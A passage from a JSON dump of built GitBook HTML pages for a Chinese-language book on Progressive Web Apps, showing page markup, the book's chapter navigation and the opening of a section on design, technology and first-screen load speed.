fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter02/1-what-is-good-ux.md\",\"mtime\":\"2019-06-19T10:37:41.997Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter02/2-design-and-tech.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>2.2 设计与技术 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"3-app-shell.html\" />\n    \n    \n    <link rel=\"prev\" href=\"1-what-is-good-ux.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"1-what-is-good-ux.html\">\n            \n                <a href=\"1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.3.2\" data-path=\"2-design-and-tech.html\">\n            \n                <a href=\"2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"3-app-shell.html\">\n            \n                <a href=\"3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"4-app-skeleton.html\">\n            \n                <a href=\"4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"5-responsive-design.html\">\n            \n                <a href=\"5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >2.2 设计与技术</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;\"><b></b>&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x9996;&#x5C4F;&#x901F;&#x5EA6;\"><b></b>&#x9996;&#x5C4F;&#x901F;&#x5EA6;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\"><b></b>&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;\"><b></b>&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;</a></li></ul></ul></div><a href=\"#&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;\"><a name=\"&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;\" class=\"plugin-anchor\" href=\"#&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;</h1>\n<p>&#x597D;&#x7684;&#x8BBE;&#x8BA1;&#x6CA1;&#x6709;&#x597D;&#x7684;&#x6280;&#x672F;&#x6765;&#x5B9E;&#x73B0;&#x540C;&#x6837;&#x65E0;&#x6CD5;&#x8FBE;&#x5230;&#x6700;&#x4F73;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x3002;</p>\n<p>&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;&#x5E76;&#x4E0D;&#x53EA;&#x662F;&#x5B9E;&#x73B0;&#x7684;&#x5173;&#x7CFB;&#xFF0C;&#x800C;&#x662F;&#x9700;&#x8981;&#x4E92;&#x76F8;&#x914D;&#x5408;&#xFF0C;&#x518D;&#x5B8C;&#x7F8E;&#x7684;&#x8BBE;&#x8BA1;&#x5982;&#x679C;&#x4E0D;&#x80FD;&#x5B9E;&#x73B0;&#xFF0C;&#x90A3;&#x4E5F;&#x53EA;&#x662F;&#x767D;&#x8D39;&#xFF0C;&#x800C;&#x4E00;&#x4E9B;&#x6280;&#x672F;&#x4E0A;&#x7684;&#x4F18;&#x5316;&#x4E5F;&#x9700;&#x8981;&#x8BBE;&#x8BA1;&#x7ED9;&#x4E88;&#x914D;&#x5408;&#x624D;&#x80FD;&#x66F4;&#x52A0;&#x5B8C;&#x7F8E;&#x3002;</p>\n<p>&#x4E0A;&#x4E00;&#x8282;&#x4E2D;&#xFF0C;&#x5217;&#x51FA;&#x4E86;&#x5F88;&#x591A;&#x8BBE;&#x8BA1;&#x539F;&#x5219;&#xFF0C;&#x6709;&#x4E9B;&#x662F;&#x6BD4;&#x8F83;&#x5BB9;&#x6613;&#x5B9E;&#x73B0;&#x7684;&#xFF0C;&#x4F46;&#x6709;&#x4E9B;&#x4E5F;&#x6BD4;&#x8F83;&#x590D;&#x6742;&#xFF0C;&#x590D;&#x6742;&#x5230;&#x9700;&#x8981;&#x5F88;&#x5927;&#x7684;&#x7BC7;&#x5E45;&#x6765;&#x63CF;&#x8FF0;&#x3002;&#x4E0B;&#x9762;&#x6211;&#x4EEC;&#x603B;&#x7ED3;&#x4E86;&#x51E0;&#x4E2A;&#x6BD4;&#x8F83;&#x91CD;&#x8981;&#x7684;&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;&#x76F8;&#x7ED3;&#x5408;&#x7684;&#x95EE;&#x9898;&#x3002;</p>\n<h2 id=\"&#x9996;&#x5C4F;&#x901F;&#x5EA6;\"><a name=\"&#x9996;&#x5C4F;&#x901F;&#x5EA6;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9996;&#x5C4F;&#x901F;&#x5EA6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9996;&#x5C4F;&#x901F;&#x5EA6;\" class=\"plugin-anchor\" href=\"#&#x9996;&#x5C4F;&#x901F;&#x5EA6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9996;&#x5C4F;&#x901F;&#x5EA6;</h2>\n<p>&#x9996;&#x5148;&#x662F;&#x9996;&#x5C4F;&#x901F;&#x5EA6;&#xFF0C;&#x5B83;&#x5BF9;&#x4E8E;&#x7AD9;&#x70B9;&#x7684;&#x91CD;&#x8981;&#x6027;&#x4E0D;&#x8A00;&#x800C;&#x55BB;&#xFF0C;&#x7279;&#x522B;&#x662F;&#x79FB;&#x52A8;&#x7AEF;&#xFF0C;&#x4E0B;&#x56FE;&#x662F;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x65F6;&#x95F4;&#x4E0E;&#x8DF3;&#x51FA;&#x7387;&#x548C;&#x4F1A;&#x8BDD;\b&#x7684;&#x5173;&#x7CFB;&#x3002;</p>\n<p><img src=\"img/page_load_time_bounce_rate.png\" alt=\"&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x65F6;&#x95F4;&#x4E0E;&#x8DF3;&#x51FA;&#x7387;&#x8FD8;&#x6709;&#x4F1A;&#x8BDD;&#x6570;&#x91CF;&#x606F;&#x606F;&#x76F8;&#x5173;\"></p>\n<p>&#x90A3;&#x4E48;&#x6280;&#x672F;&#x4E0A;&#x5982;&#x4F55;&#x63D0;&#x5347;&#x9996;&#x5C4F;&#x901F;&#x5EA6;&#x5462;&#xFF1F;&#x9996;&#x9009;&#x6211;&#x4EEC;&#x4F1A;&#x60F3;&#x5230;\b&#x5C06; CSS &#x653E;&#x5728;&#x5934;&#x90E8;&#xFF0C;JS 